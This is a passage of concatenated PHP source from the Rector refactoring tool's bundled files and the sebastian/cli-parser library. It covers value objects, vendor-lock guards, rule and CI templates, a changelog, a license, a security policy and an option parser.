$nonExistingRule) { $nonExistingRulesString .= ' * ' . $nonExistingRule . \PHP_EOL; } throw new ShouldNotHappenException('These rules from "$rectorConfig->skip()" does not exist - remove them or fix their names:' . \PHP_EOL . $nonExistingRulesString); } /** * @param mixed $value */ private static function isRectorClassValue($value) : bool { // only validate string if (!\is_string($value)) { return \false; } // not regex path if (\strpos($value, '*') !== \false) { return \false; } // not if no Rector suffix if (\substr_compare($value, 'Rector', -\strlen('Rector')) !== 0) { return \false; } // not directory if (\is_dir($value)) { return \false; } // not file return !\is_file($value); } /** * @param string[] $values * @return string[] */ private static function resolveDuplicatedValues(array $values) : array { $counted = \array_count_values($values); $duplicates = []; foreach ($counted as $value => $count) { if ($count > 1) { $duplicates[] = $value; } } return \array_unique($duplicates); } } */ private $oldTokens = []; /** * @var RectorWithLineChange[] */ private $rectorWithLineChanges = []; public function __construct(string $filePath, string $fileContent) { $this->filePath = $filePath; $this->fileContent = $fileContent; $this->originalFileContent = $fileContent; } public function getFilePath() : string { return $this->filePath; } public function getFileContent() : string { return $this->fileContent; } public function changeFileContent(string $newFileContent) : void { if ($this->fileContent === $newFileContent) { return; } $this->fileContent = $newFileContent; $this->hasChanged = \true; } public function getOriginalFileContent() : string { return $this->originalFileContent; } public function hasChanged() : bool { return $this->hasChanged; } public function changeHasChanged(bool $status) : void { $this->hasChanged = $status; } public function setFileDiff(FileDiff $fileDiff) : void { $this->fileDiff = $fileDiff; } public function getFileDiff() : ?FileDiff { return $this->fileDiff; } /** * @param Stmt[] $newStmts * @param Stmt[] $oldStmts * @param array $oldTokens */ public function hydrateStmtsAndTokens(array $newStmts, array $oldStmts, array $oldTokens) : void { if ($this->oldStmts !== []) { throw new ShouldNotHappenException('Double stmts override'); } $this->oldStmts = $oldStmts; $this->newStmts = $newStmts; $this->oldTokens = $oldTokens; } /** * @return Stmt[] */ public function getOldStmts() : array { return $this->oldStmts; } /** * @return Stmt[] */ public function getNewStmts() : array { return $this->newStmts; } /** * @return array */ public function getOldTokens() : array { return $this->oldTokens; } /** * @param Node[] $newStmts */ public function changeNewStmts(array $newStmts) : void { $this->newStmts = $newStmts; } public function addRectorClassWithLine(RectorWithLineChange $rectorWithLineChange) : void { $this->rectorWithLineChanges[] = $rectorWithLineChange; } /** * @return RectorWithLineChange[] */ public function getRectorWithLineChanges() : array { return $this->rectorWithLineChanges; } } mainConfigFile = $mainConfigFile; $this->setConfigFiles = $setConfigFiles; } public function getMainConfigFile() : ?string { return $this->mainConfigFile; } /** * @return string[] */ public function getConfigFiles() : array { $configFiles = []; if ($this->mainConfigFile !== null) { $configFiles[] = $this->mainConfigFile; } return \array_merge($configFiles, $this->setConfigFiles); } } isDryRun = $isDryRun; $this->showProgressBar = $showProgressBar; $this->shouldClearCache = $shouldClearCache; $this->outputFormat = $outputFormat; $this->fileExtensions = $fileExtensions; $this->paths = $paths; $this->showDiffs = $showDiffs; $this->parallelPort = $parallelPort; $this->parallelIdentifier = $parallelIdentifier; $this->isParallel = $isParallel; $this->memoryLimit = $memoryLimit; $this->isDebug = $isDebug; $this->reportingWithRealPath = $reportingWithRealPath; } public function isDryRun() : bool { return $this->isDryRun; } public function shouldShowProgressBar() : bool { return $this->showProgressBar; } public function shouldClearCache() : bool { return $this->shouldClearCache; } /** * @return string[] */ public function getFileExtensions() : array { Assert::notEmpty($this->fileExtensions); return $this->fileExtensions; } /** * @return string[] */ public function getPaths() : array { return $this->paths; } public function getOutputFormat() : string { return $this->outputFormat; } public function shouldShowDiffs() : bool { return $this->showDiffs; } public function getParallelPort() : ?string { return $this->parallelPort; } public function getParallelIdentifier() : ?string { return $this->parallelIdentifier; } public function isParallel() : bool { return $this->isParallel; } public function getMemoryLimit() : ?string { return $this->memoryLimit; } public function isDebug() : bool { return $this->isDebug; } public function isReportingWithRealPath() : bool { return $this->reportingWithRealPath; } } message = $message; $this->relativeFilePath = $relativeFilePath; $this->line = $line; $this->rectorClass = $rectorClass; } public function getMessage() : string { return $this->message; } public function getFile() : ?string { return $this->relativeFilePath; } public function getLine() : ?int { return $this->line; } public function getRelativeFilePath() : ?string { return $this->relativeFilePath; } public function getAbsoluteFilePath() : ?string { if ($this->relativeFilePath === null) { return null; } return \realpath($this->relativeFilePath); } /** * @return array{ * message: string, * relative_file_path: string|null, * absolute_file_path: string|null, * line: int|null, * rector_class: string|null * } */ public function jsonSerialize() : array { return [BridgeItem::MESSAGE => $this->message, BridgeItem::RELATIVE_FILE_PATH => $this->relativeFilePath, BridgeItem::ABSOLUTE_FILE_PATH => $this->getAbsoluteFilePath(), BridgeItem::LINE => $this->line, BridgeItem::RECTOR_CLASS => $this->rectorClass]; } /** * @param mixed[] $json * @return $this */ public static function decode(array $json) : \RectorPrefix202411\Symplify\EasyParallel\Contract\SerializableInterface { return new self($json[BridgeItem::MESSAGE], $json[BridgeItem::RELATIVE_FILE_PATH], $json[BridgeItem::LINE], $json[BridgeItem::RECTOR_CLASS]); } public function getRectorClass() : ?string { return $this->rectorClass; } } systemErrors = $systemErrors; $this->fileDiff = $fileDiff; Assert::allIsInstanceOf($systemErrors, SystemError::class); } /** * @return SystemError[] */ public function getSystemErrors() : array { return $this->systemErrors; } public function getFileDiff() : ?FileDiff { return $this->fileDiff; } } funcCall = $funcCall; $this->expr = $expr; } public function getFuncCall() : FuncCall { return $this->funcCall; } public function getExpr() : Expr { return $this->expr; } } systemErrors = $systemErrors; $this->fileDiffs = $fileDiffs; Assert::allIsInstanceOf($systemErrors, SystemError::class); Assert::allIsInstanceOf($fileDiffs, FileDiff::class); } /** * @return SystemError[] */ public function getSystemErrors() : array { return $this->systemErrors; } /** * @return FileDiff[] */ public function getFileDiffs() : array { return $this->fileDiffs; } /** * @param SystemError[] $systemErrors */ public function addSystemErrors(array $systemErrors) : void { Assert::allIsInstanceOf($systemErrors, SystemError::class); $this->systemErrors = \array_merge($this->systemErrors, $systemErrors); } } \\d+)(.*?)@@#'; /** * @var string */ private const FIRST_LINE_KEY = 'first_line'; /** * @param RectorWithLineChange[] $rectorsWithLineChanges */ public function __construct(string $relativeFilePath, string $diff, string $diffConsoleFormatted, array $rectorsWithLineChanges = []) { $this->relativeFilePath = $relativeFilePath; $this->diff = $diff; $this->diffConsoleFormatted = $diffConsoleFormatted; $this->rectorsWithLineChanges = $rectorsWithLineChanges; Assert::allIsInstanceOf($rectorsWithLineChanges, RectorWithLineChange::class); } public function getDiff() : string { return $this->diff; } public function getDiffConsoleFormatted() : string { return $this->diffConsoleFormatted; } public function getRelativeFilePath() : string { return $this->relativeFilePath; } public function getAbsoluteFilePath() : ?string { return \realpath($this->relativeFilePath) ?: null; } /** * @return RectorWithLineChange[] */ public function getRectorChanges() : array { return $this->rectorsWithLineChanges; } /** * @return string[] */ public function getRectorShortClasses() : array { $rectorShortClasses = []; foreach ($this->getRectorClasses() as $rectorClass) { $rectorShortClasses[] = (string) Strings::after($rectorClass, '\\', -1); } return $rectorShortClasses; } /** * @return array> */ public function getRectorClasses() : array { $rectorClasses = []; foreach ($this->rectorsWithLineChanges as $rectorWithLineChange) { $rectorClasses[] = $rectorWithLineChange->getRectorClass(); } return $this->sortClasses($rectorClasses); } public function getFirstLineNumber() : ?int { $match = Strings::match($this->diff, self::FIRST_LINE_REGEX); // probably some error in diff if (!isset($match[self::FIRST_LINE_KEY])) { return null; } return (int) $match[self::FIRST_LINE_KEY] - 1; } /** * @return array{relative_file_path: string, diff: string, diff_console_formatted: string, rectors_with_line_changes: RectorWithLineChange[]} */ public function jsonSerialize() : array { return [BridgeItem::RELATIVE_FILE_PATH => $this->relativeFilePath, BridgeItem::DIFF => $this->diff, BridgeItem::DIFF_CONSOLE_FORMATTED => $this->diffConsoleFormatted, BridgeItem::RECTORS_WITH_LINE_CHANGES => $this->rectorsWithLineChanges]; } /** * @param array $json * @return $this */ public static function decode(array $json) : \RectorPrefix202411\Symplify\EasyParallel\Contract\SerializableInterface { $rectorWithLineChanges = []; foreach ($json[BridgeItem::RECTORS_WITH_LINE_CHANGES] as $rectorWithLineChangesJson) { $rectorWithLineChanges[] = RectorWithLineChange::decode($rectorWithLineChangesJson); } return new self($json[BridgeItem::RELATIVE_FILE_PATH], $json[BridgeItem::DIFF], $json[BridgeItem::DIFF_CONSOLE_FORMATTED], $rectorWithLineChanges); } /** * @template TType as object * @param array> $rectorClasses * @return array> */ private function sortClasses(array $rectorClasses) : array { $rectorClasses = \array_unique($rectorClasses); \sort($rectorClasses); return $rectorClasses; } } string = $string; $this->arrayItems = $arrayItems; } /** * @return Expr[] */ public function getArrayItems() : array { return $this->arrayItems; } public function getStringValue() : string { return $this->string->value; } } nodeNameResolver = $nodeNameResolver; $this->reflectionResolver = $reflectionResolver; $this->filePathHelper = $filePathHelper; } public function isVendorLocked(ClassMethod $classMethod) : bool { if ($classMethod->isMagic()) { return \true; } if ($classMethod->isPrivate()) { return \false; } $classReflection = $this->reflectionResolver->resolveClassReflection($classMethod); if (!$classReflection instanceof ClassReflection) { return \false; } /** @var string $methodName */ $methodName = $this->nodeNameResolver->getName($classMethod); // has interface vendor lock? → better skip it, as PHPStan has access only to just analyzed classes if ($this->hasParentInterfaceMethod($classReflection, $methodName)) { return \true; } return $this->hasClassMethodLockMatchingFileName($classReflection, $methodName, '/vendor/'); } /** * Has interface even in our project? * Better skip it, as PHPStan has access only to just analyzed classes. * This might change type, that works for current class, but breaks another implementer. */ private function hasParentInterfaceMethod(ClassReflection $classReflection, string $methodName) : bool { foreach ($classReflection->getInterfaces() as $interfaceClassReflection) { if ($interfaceClassReflection->hasMethod($methodName)) { return \true; } } return \false; } private function hasClassMethodLockMatchingFileName(ClassReflection $classReflection, string $methodName, string $filePathPartName) : bool { $ancestorClassReflections = \array_merge($classReflection->getParents(), $classReflection->getInterfaces()); foreach ($ancestorClassReflections as $ancestorClassReflection) { // parent type if (!$ancestorClassReflection->hasNativeMethod($methodName)) { continue; } // is file in vendor? $fileName = $ancestorClassReflection->getFileName(); // probably internal class if ($fileName === null) { continue; } // not conditions? its a match if ($filePathPartName === '') { return \true; } $normalizedFileName = $this->filePathHelper->normalizePathAndSchema($fileName); if (\strpos($normalizedFileName, $filePathPartName) !== \false) { return \true; } } return \false; } } reflectionResolver = $reflectionResolver; $this->parentClassMethodTypeOverrideGuard = $parentClassMethodTypeOverrideGuard; $this->filePathHelper = $filePathHelper; $this->magicClassMethodAnalyzer = $magicClassMethodAnalyzer; } public function shouldSkipClassMethod(ClassMethod $classMethod, Scope $scope) : bool { if ($this->magicClassMethodAnalyzer->isUnsafeOverridden($classMethod)) { return \true; } // except magic check on above, early allow add return type on private method if ($classMethod->isPrivate()) { return \false; } $classReflection = $this->reflectionResolver->resolveClassReflection($classMethod); if (!$classReflection instanceof ClassReflection) { return \true; } if ($classReflection->isAbstract()) { return \true; } if ($classReflection->isInterface()) { return \true; } return !$this->isReturnTypeChangeAllowed($classMethod, $scope); } private function isReturnTypeChangeAllowed(ClassMethod $classMethod, Scope $scope) : bool { // make sure return type is not protected by parent contract $parentClassMethodReflection = $this->parentClassMethodTypeOverrideGuard->getParentClassMethod($classMethod); // nothing to check if (!$parentClassMethodReflection instanceof MethodReflection) { return !$this->parentClassMethodTypeOverrideGuard->hasParentClassMethod($classMethod); } $parametersAcceptor = ParametersAcceptorSelectorVariantsWrapper::select($parentClassMethodReflection, $classMethod, $scope); if ($parametersAcceptor instanceof FunctionVariantWithPhpDocs && !$parametersAcceptor->getNativeReturnType() instanceof MixedType) { return \false; } $classReflection = $parentClassMethodReflection->getDeclaringClass(); $fileName = $classReflection->getFileName(); // probably internal if ($fileName === null) { return \false; } /* * Below verify that both current file name and parent file name is not in the /vendor/, if yes, then allowed. * This can happen when rector run into /vendor/ directory while child and parent both are there. * * @see https://3v4l.org/Rc0RF#v8.0.13 * * - both in /vendor/ -> allowed * - one of them in /vendor/ -> not allowed * - both not in /vendor/ -> allowed */ /** @var ClassReflection $currentClassReflection */ $currentClassReflection = $this->reflectionResolver->resolveClassReflection($classMethod); /** @var string $currentFileName */ $currentFileName = $currentClassReflection->getFileName(); // child (current) $normalizedCurrentFileName = $this->filePathHelper->normalizePathAndSchema($currentFileName); $isCurrentInVendor = \strpos($normalizedCurrentFileName, '/vendor/') !== \false; // parent $normalizedFileName = $this->filePathHelper->normalizePathAndSchema($fileName); $isParentInVendor = \strpos($normalizedFileName, '/vendor/') !== \false; return $isCurrentInVendor && $isParentInVendor || !$isCurrentInVendor && !$isParentInVendor; } } nodeNameResolver = $nodeNameResolver; $this->reflectionResolver = $reflectionResolver; $this->magicClassMethodAnalyzer = $magicClassMethodAnalyzer; } public function isVendorLocked(ClassMethod $classMethod) : bool { if ($this->magicClassMethodAnalyzer->isUnsafeOverridden($classMethod)) { return \true; } if ($classMethod->isPrivate()) { return \false; } $classReflection = $this->reflectionResolver->resolveClassReflection($classMethod); if (!$classReflection instanceof ClassReflection) { return \false; } $methodName = $this->nodeNameResolver->getName($classMethod); return $this->isVendorLockedByAncestors($classReflection, $methodName); } private function isVendorLockedByAncestors(ClassReflection $classReflection, string $methodName) : bool { foreach ($classReflection->getAncestors() as $ancestorClassReflections) { if ($ancestorClassReflections === $classReflection) { continue; } $nativeClassReflection = $ancestorClassReflections->getNativeReflection(); // this should avoid detecting @method as real method if (!$nativeClassReflection->hasMethod($methodName)) { continue; } if (!$ancestorClassReflections->hasNativeMethod($methodName)) { continue; } $parentClassMethodReflection = $ancestorClassReflections->getNativeMethod($methodName); $parametersAcceptor = $parentClassMethodReflection->getVariants()[0]; if (!$parametersAcceptor instanceof FunctionVariantWithPhpDocs) { continue; } // here we count only on strict types, not on docs return !$parametersAcceptor->getNativeReturnType() instanceof MixedType; } return \false; } } nodeNameResolver = $nodeNameResolver; $this->reflectionResolver = $reflectionResolver; $this->typeComparator = $typeComparator; $this->staticTypeMapper = $staticTypeMapper; $this->classReflectionAnalyzer = $classReflectionAnalyzer; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PHPStan\Reflection\MethodReflection $classMethod */ public function hasParentClassMethod($classMethod) : bool { try { $parentClassMethod = $this->resolveParentClassMethod($classMethod); return $parentClassMethod instanceof MethodReflection; } catch (UnresolvableClassException $exception) { // we don't know all involved parents, // marking as parent exists which usually means the method is guarded against overrides. return \true; } } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PHPStan\Reflection\MethodReflection $classMethod */ public function getParentClassMethod($classMethod) : ?MethodReflection { try { return $this->resolveParentClassMethod($classMethod); } catch (UnresolvableClassException $exception) { return null; } } public function shouldSkipReturnTypeChange(ClassMethod $classMethod, Type $parentType) : bool { if ($classMethod->returnType === null) { return \false; } $currentReturnType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($classMethod->returnType); if ($this->typeComparator->isSubtype($currentReturnType, $parentType)) { return \true; } return $this->typeComparator->areTypesEqual($currentReturnType, $parentType); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PHPStan\Reflection\MethodReflection $classMethod */ private function resolveParentClassMethod($classMethod) : ?MethodReflection { // early got null on private method if ($classMethod->isPrivate()) { return null; } $classReflection = $classMethod instanceof ClassMethod ? $this->reflectionResolver->resolveClassReflection($classMethod) : $classMethod->getDeclaringClass(); if (!$classReflection instanceof ClassReflection) { // we can't resolve the class, so we don't know. throw new UnresolvableClassException(); } /** @var string $methodName */ $methodName = $classMethod instanceof ClassMethod ? $this->nodeNameResolver->getName($classMethod) : $classMethod->getName(); $currentClassReflection = $classReflection; while ($this->hasClassParent($currentClassReflection)) { $parentClassReflection = $currentClassReflection->getParentClass(); if (!$parentClassReflection instanceof ClassReflection) { // per AST we have a parent class, but our reflection classes are not able to load its class definition/signature throw new UnresolvableClassException(); } if ($parentClassReflection->hasNativeMethod($methodName)) { return $parentClassReflection->getNativeMethod($methodName); } $currentClassReflection = $parentClassReflection; } foreach ($classReflection->getInterfaces() as $interfaceReflection) { if (!$interfaceReflection->hasNativeMethod($methodName)) { continue; } return $interfaceReflection->getNativeMethod($methodName); } return null; } private function hasClassParent(ClassReflection $classReflection) : bool { return $this->classReflectionAnalyzer->resolveParentClassName($classReflection) !== null; } } phpVersionProvider = $phpVersionProvider; $this->polyfillPackagesProvider = $polyfillPackagesProvider; } /** * @param array $rectors * @return array */ public function filter(array $rectors) : array { $minProjectPhpVersion = $this->phpVersionProvider->provide(); $activeRectors = []; foreach ($rectors as $rector) { if ($rector instanceof RelatedPolyfillInterface) { $polyfillPackageNames = $this->polyfillPackagesProvider->provide(); if (\in_array($rector->providePolyfillPackage(), $polyfillPackageNames, \true)) { $activeRectors[] = $rector; continue; } } if (!$rector instanceof MinPhpVersionInterface) { $activeRectors[] = $rector; continue; } // does satisfy version? → include if ($rector->provideMinPhpVersion() <= $minProjectPhpVersion) { $activeRectors[] = $rector; } } return $activeRectors; } } prettyPrint([$node]); \var_dump($printedContent); } } } if (!\function_exists('dump_node')) { /** * @param Node|Node[] $node */ function dump_node($node) : void { $symfonyStyle = Container::getInstance()->make(SymfonyStyleFactory::class)->create(); // we turn up the verbosity so it's visible in tests overriding the // default which is to be quite during tests $symfonyStyle->setVerbosity(OutputInterface::VERBOSITY_VERBOSE); $symfonyStyle->newLine(); $nodePrinter = new NodePrinter($symfonyStyle); $nodePrinter->printNodes($node); } } flags = $flags; } } } if (PHP_VERSION_ID < 80100 && ! class_exists('ReturnTypeWillChange', false)) { #[Attribute(Attribute::TARGET_METHOD)] final class ReturnTypeWillChange { } } $originalClassName * * @psalm-return MockObject&RealInstanceType */ protected function createMock(string $originalClassName): MockObject { } } } > */ public function getNodeTypes(): array { // @todo select node type return [\PhpParser\Node\Stmt\Class_::class]; } /** * @param \PhpParser\Node\Stmt\Class_ $node */ public function refactor(Node $node): ?Node { // @todo change the node return $node; } } ----- doTestFile($filePath); } public static function provideData(): \Iterator { return self::yieldFilesFromDirectory(__DIR__ . '/Fixture'); } public function provideConfigFilePath(): string { return __DIR__ . '/config/configured_rule.php'; } } rule(\Utils\Rector\Rector\__Name__::class); }; doTestFile($filePath); } public static function provideData(): \Iterator { return self::yieldFilesFromDirectory(__DIR__ . '/Fixture'); } public function provideConfigFilePath(): string { return __DIR__ . '/config/configured_rule.php'; } } # github action that checks code with Rector name: Rector on: pull_request: null jobs: rector: runs-on: ubuntu-latest if: github.event.pull_request.head.repo.full_name == '__CURRENT_REPOSITORY__' steps: - if: github.event.pull_request.head.repo.full_name == github.repository uses: actions/checkout@v4 with: # Must be used to trigger workflow after push token: ${{ secrets.ACCESS_TOKEN }} - uses: shivammathur/setup-php@v2 with: php-version: 8.2 coverage: none - uses: "ramsey/composer-install@v3" - run: vendor/bin/rector --ansi # @todo apply coding standard if used - # commit only to core contributors who have repository access uses: stefanzweifel/git-auto-commit-action@v5 with: commit_message: '[rector] Rector fixes' commit_author: 'GitHub Action ' commit_user_email: 'action@github.com' stages: - setup - rector - commit_changes setup: stage: setup # see https://github.com/thecodingmachine/docker-images-php image: thecodingmachine/php:8.2-v4-slim-cli rector: stage: rector script: - vendor/bin/rector --ansi # @todo apply coding standard if used commit_changes: stage: commit_changes script: - git config --global user.email "ci@gitlab.com" - git config --global user.name "GitLab CI # - git checkout $CI_COMMIT_REF_NAME - git add . - git commit -m "[rector] Rector fixes" - git push origin $CI_COMMIT_REF_NAME only: - merge_requests withPaths([ __PATHS__ ]) // uncomment to reach your current PHP version // ->withPhpSets() ->withTypeCoverageLevel(0); # ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [2.0.1] - 2024-03-02 ### Changed * Do not use implicitly nullable parameters ## [2.0.0] - 2023-02-03 ### Removed * This component is no longer supported on PHP 7.3, PHP 7.4, and PHP 8.0 ## [1.0.1] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [1.0.0] - 2020-08-12 * Initial release [2.0.1]: https://github.com/sebastianbergmann/cli-parser/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/cli-parser/compare/1.0.1...2.0.0 [1.0.1]: https://github.com/sebastianbergmann/cli-parser/compare/1.0.0...1.0.1 [1.0.0]: https://github.com/sebastianbergmann/cli-parser/compare/bb7bb3297957927962b0a3335befe7b66f7462e9...1.0.0 BSD 3-Clause License Copyright (c) 2020-2024, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/cli-parser/v/stable.png)](https://packagist.org/packages/sebastian/cli-parser) [![CI Status](https://github.com/sebastianbergmann/cli-parser/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/cli-parser/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/cli-parser/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/cli-parser) [![codecov](https://codecov.io/gh/sebastianbergmann/cli-parser/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/cli-parser) # sebastian/cli-parser Library for parsing `$_SERVER['argv']`, extracted from `phpunit/phpunit`. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/cli-parser ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/cli-parser ``` # Security Policy If you believe you have found a security vulnerability in the library that is developed in this repository, please report it to us through coordinated disclosure. **Please do not report security vulnerabilities through public GitHub issues, discussions, or pull requests.** Instead, please email `sebastian@phpunit.de`. Please include as much of the information listed below as you can to help us better understand and resolve the issue: * The type of issue * Full paths of source file(s) related to the manifestation of the issue * The location of the affected source code (tag/branch/commit or direct URL) * Any special configuration required to reproduce the issue * Step-by-step instructions to reproduce the issue * Proof-of-concept or exploit code (if possible) * Impact of the issue, including how an attacker might exploit the issue This information will help us triage your report more quickly. ## Web Context The library that is developed in this repository was either extracted from [PHPUnit](https://github.com/sebastianbergmann/phpunit) or developed specifically as a dependency for PHPUnit. The library is developed with a focus on development environments and the command-line. No specific testing or hardening with regard to using the library in an HTTP or web context or with untrusted input data is performed. The library might also contain functionality that intentionally exposes internal application data for debugging purposes. If the library is used in a web application, the application developer is responsible for filtering inputs or escaping outputs as necessary and for verifying that the used functionality is safe for use within the intended context. Vulnerabilities specific to the use outside a development context will be fixed as applicable, provided that the fix does not have an averse effect on the primary use case for development purposes. { "name": "sebastian/cli-parser", "description": "Library for parsing CLI options", "type": "library", "homepage": "https://github.com/sebastianbergmann/cli-parser", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/cli-parser/issues", "security": "https://github.com/sebastianbergmann/cli-parser/security/policy" }, "prefer-stable": true, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-main": "2.0-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CliParser; use function array_map; use function array_merge; use function array_shift; use function array_slice; use function assert; use function count; use function current; use function explode; use function is_array; use function is_int; use function is_string; use function key; use function next; use function preg_replace; use function reset; use function sort; use function str_ends_with; use function str_starts_with; use function strlen; use function strstr; use function substr; final class Parser { /** * @psalm-param list $argv * @psalm-param list $longOptions * * @psalm-return array{0: array, 1: array} * * @throws AmbiguousOptionException * @throws OptionDoesNotAllowArgumentException * @throws RequiredOptionArgumentMissingException * @throws UnknownOptionException */ public function parse(array $argv, string $shortOptions, ?array $longOptions = null): array { if (empty($argv)) { return [[], []]; } $options = []; $nonOptions = []; if ($longOptions) { sort($longOptions); } if (isset($argv[0][0]) && $argv[0][0] !== '-') { array_shift($argv); } reset($argv); $argv = array_map('trim', $argv); while (false !== $arg = current($argv)) { $i = key($argv); assert(is_int($i)); next($argv); if ($arg === '') { continue; } if ($arg === '--') { $nonOptions = array_merge($nonOptions, array_slice($argv, $i + 1)); break; } if ($arg[0] !== '-' || (strlen($arg) > 1 && $arg[1] === '-' && !$longOptions)) { $nonOptions[] = $arg; continue; } if (strlen($arg) > 1 && $arg[1] === '-' && is_array($longOptions)) { $this->parseLongOption( substr($arg, 2), $longOptions, $options, $argv, ); continue; } $this->parseShortOption( substr($arg, 1), $shortOptions, $options, $argv, ); } return [$options, $nonOptions]; } /** * @throws RequiredOptionArgumentMissingException */ private function parseShortOption(string $argument, string $shortOptions, array &$options, array &$argv): void { $argumentLength = strlen($argument); for ($i = 0; $i < $argumentLength; $i++) { $option = $argument[$i]; $optionArgument = null; if ($argument[$i] === ':' || ($spec = strstr($shortOptions, $option)) === false) { throw new UnknownOptionException('-' . $option); } if (strlen($spec) > 1 && $spec[1] === ':') { if ($i + 1 < $argumentLength) { $options[] = [$option, substr($argument, $i + 1)]; break; } if (!(strlen($spec) > 2 && $spec[2] === ':')) { $optionArgument = current($argv); if (!$optionArgument) { throw new RequiredOptionArgumentMissingException('-' . $option); } assert(is_string($optionArgument)); next($argv); } } $options[] = [$option, $optionArgument]; } } /** * @psalm-param list $longOptions * * @throws AmbiguousOptionException * @throws OptionDoesNotAllowArgumentException * @throws RequiredOptionArgumentMissingException * @throws UnknownOptionException */ private function parseLongOption(string $argument, array $longOptions, array &$options, array &$argv): void { $count = count($longOptions); $list = explode('=', $argument); $option = $list[0]; $optionArgument = null; if (count($list) > 1) { $optionArgument = $list[1]; } $optionLength = strlen($option); foreach ($longOptions as $i => $longOption) { $opt_start = substr($longOption, 0, $optionLength); if ($opt_start !== $option) { continue; } $opt_rest = substr($longOption, $optionLength); if ($opt_rest !== '' && $i + 1 < $count && $option[0] !== '=' && str_starts_with($longOptions[$i + 1], $option)) { throw new AmbiguousOptionException('--' . $option); } if (str_ends_with($longOption, '=')) { if (!str_ends_with($longOption, '==') && !strlen((string) $optionArgument)) { if (false === $optionArgument = current($argv)) { throw new RequiredOptionArgumentMissingException('--' . $option); } next($argv); } } elseif ($optionArgument) { throw new OptionDoesNotAllowArgumentException('--' . $option); } $fullOption = '--' . preg_replace('/={1,2}$/', '', $longOption); $options[] = [$fullOption, $optionArgument]; return; } throw new UnknownOptionException('--' . $option); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CliParser; use function sprintf; use RuntimeException; final class AmbiguousOptionException extends RuntimeException implements Exception { public function __construct(string $option) { parent::__construct( sprintf( 'Option "%s" is ambiguous', $option, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CliParser; use Throwable; interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CliParser; use function sprintf; use RuntimeException; final class OptionDoesNotAllowArgumentException extends RuntimeException implements Exception { public function __construct(string $option) { parent::__construct( sprintf( 'Option "%s" does not allow an argument', $option, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CliParser; use function sprintf; use RuntimeException; final class RequiredOptionArgumentMissingException extends RuntimeException implements Exception { public function __construct(string $option) { parent::__construct( sprintf( 'Required argument for option "%s" is missing', $option, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CliParser; use function sprintf; use RuntimeException; final class UnknownOptionException extends RuntimeException implements Exception { public function __construct(string $option) { parent::__construct( sprintf( 'Unknown option "%s"', $option, ), ); } } # ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [2.0.0] - 2023-02-03 ### Added * Added `SebastianBergmann\CodeUnit\FileUnit` value object that represents a sourcecode file ### Removed * `SebastianBergmann\CodeUnit\CodeUnitCollection::fromArray()` has been removed * `SebastianBergmann\CodeUnit\Mapper::stringToCodeUnits()` no longer supports `ClassName<*>` * This component is no longer supported on PHP 7.3, PHP 7.4, and PHP 8.0 ## [1.0.8] - 2020-10-26 ### Fixed * `SebastianBergmann\CodeUnit\Exception` now correctly extends `\Throwable` ## [1.0.7] - 2020-10-02 ### Fixed * `SebastianBergmann\CodeUnit\Mapper::stringToCodeUnits()` no longer attempts to create `CodeUnit` objects for code units that are not declared in userland ## [1.0.6] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [1.0.5] - 2020-06-26 